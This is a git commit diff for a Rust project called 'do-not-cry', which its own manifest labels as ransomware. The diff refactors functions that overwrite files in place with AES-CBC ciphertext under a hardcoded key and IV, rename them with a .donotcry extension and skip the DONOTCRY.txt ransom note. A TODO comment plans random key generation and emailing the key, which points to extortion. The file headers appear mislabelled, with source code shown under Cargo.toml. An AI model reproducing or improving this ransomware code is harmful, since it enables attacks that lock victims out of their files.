refactor: move from std args to clap

Author: RotrixLOL

Cargo.lock

@@ -2,10 +2,10 @@
 name = "do-not-cry"
 authors = ["RotrixX <rotrixxlol@gmail.com>"]
 description = "Encrypt and decrypt directories/files using Aes cipher. When encrypting, DONOTCRY.txt file will be created and all files will have .donotcry extension."
-version = "1.3.0"
+version = "1.4.0"
 edition = "2021"
 license = "GPL-3.0-or-later"
-repository = "https://github.com/RotrixLOL/ransom-rs"
+repository = "https://github.com/RotrixLOL/do-not-cry"
 readme = "README.md"
 keywords = ["ransomware", "encryption", "decryption", "aes-cipher"]
 categories = ["command-line-utilities", "cryptography"]
@@ -21,6 +21,7 @@ name = "donotcry"
 path = "src/main.rs"
 
 [dependencies]
+clap = { version = "4.1.8", features = ["cargo"] }
 colored = "2.0.0"
 libaes = "0.6.4"
 walkdir = "2.3.2"

Cargo.toml

@@ -2,43 +2,37 @@ use colored::Colorize;
 use libaes::Cipher;
 use std::fs;
 
-pub fn encrypt_or_decrypt(filename: &str, action: &str) -> bool {
+pub fn encrypt(filename: &str) {
     // TODO: generate randomly key and iv on encrypt, then show it or send an email. when decrypting ask for it.
     let key = b"fTjWmZq4t7w!z%C*";
     let iv = b"+MbQeThWmZq4t6w9";
 
     let cipher = Cipher::new_128(key);
 
-    match action {
-        "encrypt" => {
-            if !filename.contains("DONOTCRY.txt") {
-                let msg = format!("[*] Encrypting {}", filename);
-                println!("{}", msg.green());
-
-                let encrypted = cipher.cbc_encrypt(iv, &fs::read(filename).unwrap());
-                fs::write(filename, encrypted).unwrap();
-                let new_filename = format!("{}.donotcry", filename);
-                fs::rename(filename, new_filename).unwrap();
-            }
-        }
-
-        "decrypt" => {
-            if !filename.contains("DONOTCRY.txt") {
-                let msg = format!("[*] Decrypting {}", filename);
-                println!("{}", msg.green());
-
-                let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
-                fs::write(filename, decrypted).unwrap();
-                let new_filename = filename.replace(".donotcry", "");
-                fs::rename(filename, new_filename).unwrap();
-            }
-        }
-
-        _ => {
-            println!("{}", "[-] Invalid action!".red());
-            return false;
-        }
+    if !filename.contains("DONOTCRY.txt") {
+        let msg = format!("[*] Encrypting {}", filename);
+        println!("{}", msg.green());
+
+        let encrypted = cipher.cbc_encrypt(iv, &fs::read(filename).unwrap());
+        fs::write(filename, encrypted).unwrap();
+        let new_filename = format!("{}.donotcry", filename);
+        fs::rename(filename, new_filename).unwrap();
     }
+}
+
+pub fn decrypt(filename: &str) {
+    let key = b"fTjWmZq4t7w!z%C*";
+    let iv = b"+MbQeThWmZq4t6w9";
 
-    true
+    let cipher = Cipher::new_128(key);
+
+    if !filename.contains("DONOTCRY.txt") {
+        let msg = format!("[*] Decrypting {}", filename);
+        println!("{}", msg.green());
+
+        let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
+        fs::write(filename, decrypted).unwrap();
+        let new_filename = filename.replace(".donotcry", "");
+        fs::rename(filename, new_filename).unwrap();
+    }
 }